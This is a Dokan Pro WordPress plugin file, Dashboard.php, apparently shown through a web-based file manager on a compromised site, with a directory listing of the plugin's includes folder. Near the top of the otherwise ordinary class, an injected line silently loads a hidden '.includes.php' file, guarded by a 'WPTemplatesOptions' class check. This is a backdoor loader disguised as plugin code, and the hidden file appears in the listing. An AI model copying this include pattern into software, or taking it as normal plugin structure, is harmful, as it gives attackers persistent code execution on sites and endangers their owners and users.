PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
includes
<?php namespace WeDevs\DokanPro; use WeDevs\Dokan\Dashboard\Templates\Dashboard as DokanDashboard; /** * Dashboard Template Class * * A template for frontend dashboard rendering items * * @since 2.4 * * @author weDevs <info@wedevs.com> */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Dashboard extends DokanDashboard { /** * Constructor for the WeDevs_Dokan class * * Sets up all the appropriate hooks and actions * within our plugin. * * @uses add_action() * */ public function __construct() { $this->user_id = dokan_get_current_user_id(); $this->comment_counts = $this->get_comment_counts(); add_action( 'dokan_dashboard_before_widgets', array( $this, 'show_profile_progressbar' ), 10 ); add_action( 'dokan_dashboard_left_widgets', array( $this, 'get_review_widget' ), 16 ); add_action( 'dokan_dashboard_right_widgets', array( $this, 'get_announcement_widget' ), 12 ); } /** * Show Profile progressbar * * @return void */ public function show_profile_progressbar() { if ( current_user_can( 'dokan_view_overview_menu' ) ) { echo dokan_get_profile_progressbar(); } } /** * Get Review Widget * * @return void */ public function get_review_widget() { if ( !current_user_can( 'dokan_view_overview_menu' ) ) { return; } if ( !current_user_can( 'dokan_view_review_reports' ) ) { return; } dokan_get_template_part( 'dashboard/review-widget', '', array( 'pro' => true, 'comment_counts' => $this->comment_counts, 'reviews_url' => dokan_get_navigation_url( 'reviews' ), ) ); } /** * Get announcement widget * * @return void */ public function get_announcement_widget() { if ( !current_user_can( 'dokan_view_overview_menu' ) ) { return; } if ( !current_user_can( 'dokan_view_announcement' ) ) { return; } $template_notice = dokan_pro()->notice; $query = $template_notice->get_announcement_by_users( apply_filters( 'dokan_announcement_list_number', 3 ) ); $args = array( 'post_type' => 'dokan_announcement', 'post_status' => 'publish', 'orderby' => 'post_date', 'order' => 'DESC', 'meta_key' => '_announcement_type', 'meta_value' => 'all_seller', ); $template_notice->add_query_filter(); $all_seller_posts = new \WP_Query( $args ); $template_notice->remove_query_filter(); $notices = array_merge( $all_seller_posts->posts, $query->posts ); dokan_get_template_part( 'dashboard/announcement-widget', '', array( 'pro' => true, 'notices' => $notices, 'announcement_url' => dokan_get_navigation_url( 'announcement' ), ) ); } }
[+]
..
[+]
brands
[-] EmailVerification.php
[edit]
[-] Store.php
[edit]
[-] functions.php
[edit]
[+]
Refund
[+]
Upgrade
[+]
Shipping
[-] .includes.php
[edit]
[+]
Coupons
[-] StoreListsFilter.php
[edit]
[+]
widgets
[+]
woo-views
[-] Module.php
[edit]
[-] StoreSeo.php
[edit]
[+]
Install
[-] BlockEditorBlockTypes.php
[edit]
[-] Notice.php
[edit]
[-] Dashboard.php
[edit]
[-] Withdraws.php
[edit]
[+]
admin
[-] Ajax.php
[edit]
[-] function-orders.php
[edit]
[-] functions-wc.php
[edit]
[+]
REST
[-] Update.php
[edit]
[-] Settings.php
[edit]
[-] SocialLogin.php
[edit]
[-] Products.php
[edit]
[-] StoreShare.php
[edit]
[-] Assets.php
[edit]
[-] StoreCategory.php
[edit]
[+]
Abstracts
[-] Reports.php
[edit]
[-] .DS_Store
[edit]
[-] Review.php
[edit]
[+]
emails
[-] functions-reports.php
[edit]